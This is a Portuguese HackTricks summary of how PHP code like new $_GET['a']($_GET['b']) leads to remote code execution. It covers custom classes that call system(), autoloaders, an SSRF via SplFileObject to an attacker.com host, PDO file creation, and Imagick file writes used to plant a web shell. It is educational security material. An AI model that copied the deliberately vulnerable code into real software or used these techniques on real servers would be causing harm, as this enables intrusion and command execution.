PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Support HackTricks

Este é basicamente um resumo de https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Introdução

A criação de novos objetos arbitrários, como new $_GET["a"]($_GET["a"]), pode levar à Execução Remota de Código (RCE), conforme detalhado em um writeup. Este documento destaca várias estratégias para alcançar RCE.

RCE via Classes Personalizadas ou Autoloading

A sintaxe new $a($b) é usada para instanciar um objeto onde $a representa o nome da classe e $b é o primeiro argumento passado para o construtor. Essas variáveis podem ser obtidas de entradas do usuário, como GET/POST, onde podem ser strings ou arrays, ou de JSON, onde podem se apresentar como outros tipos.

Considere o trecho de código abaixo:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

Neste caso, definir $a como App ou App2 e $b como um comando do sistema (por exemplo, uname -a) resulta na execução desse comando.

Funções de Autoloading podem ser exploradas se tais classes não estiverem diretamente acessíveis. Essas funções carregam automaticamente classes de arquivos quando necessário e são definidas usando spl_autoload_register ou __autoload:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

O comportamento do autoloading varia com as versões do PHP, oferecendo diferentes possibilidades de RCE.

RCE via Classes Integradas

Na falta de classes personalizadas ou autoloaders, classes integradas do PHP podem ser suficientes para RCE. O número dessas classes varia entre 100 a 200, com base na versão do PHP e nas extensões. Elas podem ser listadas usando get_declared_classes().

Construtores de interesse podem ser identificados através da API de reflexão, como mostrado no seguinte exemplo e no link https://3v4l.org/2JEGF.

RCE via métodos específicos inclui:

SSRF + Deserialização Phar

A classe SplFileObject permite SSRF através de seu construtor, permitindo conexões a qualquer URL:

new SplFileObject('http://attacker.com/');

SSRF pode levar a ataques de desserialização em versões do PHP anteriores a 8.0 usando o protocolo Phar.

Explorando PDOs

O construtor da classe PDO permite conexões a bancos de dados via strings DSN, potencialmente permitindo a criação de arquivos ou outras interações:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Versões do PHP até 5.3.22 e 5.4.12 eram suscetíveis a ataques XXE através dos construtores SoapClient e SimpleXMLElement, dependendo da versão do libxml2.

RCE via Extensão Imagick

Na análise das dependências de um projeto, foi descoberto que Imagick poderia ser aproveitado para execução de comandos ao instanciar novos objetos. Isso apresenta uma oportunidade para explorar vulnerabilidades.

Parser VID

A capacidade do parser VID de escrever conteúdo em qualquer caminho especificado no sistema de arquivos foi identificada. Isso poderia levar à colocação de um shell PHP em um diretório acessível pela web, alcançando Execução Remota de Código (RCE).

Parser VID + Upload de Arquivo

Observa-se que o PHP armazena temporariamente arquivos enviados em /tmp/phpXXXXXX. O parser VID no Imagick, utilizando o protocolo msl, pode lidar com curingas em caminhos de arquivos, facilitando a transferência do arquivo temporário para um local escolhido. Este método oferece uma abordagem adicional para alcançar a escrita arbitrária de arquivos dentro do sistema de arquivos.

Crash do PHP + Força Bruta

Um método descrito no escrito original envolve o upload de arquivos que provocam uma falha no servidor antes da exclusão. Ao forçar o nome do arquivo temporário, torna-se possível para o Imagick executar código PHP arbitrário. No entanto, essa técnica foi considerada eficaz apenas em uma versão desatualizada do ImageMagick.

Referências

Support HackTricks

Last updated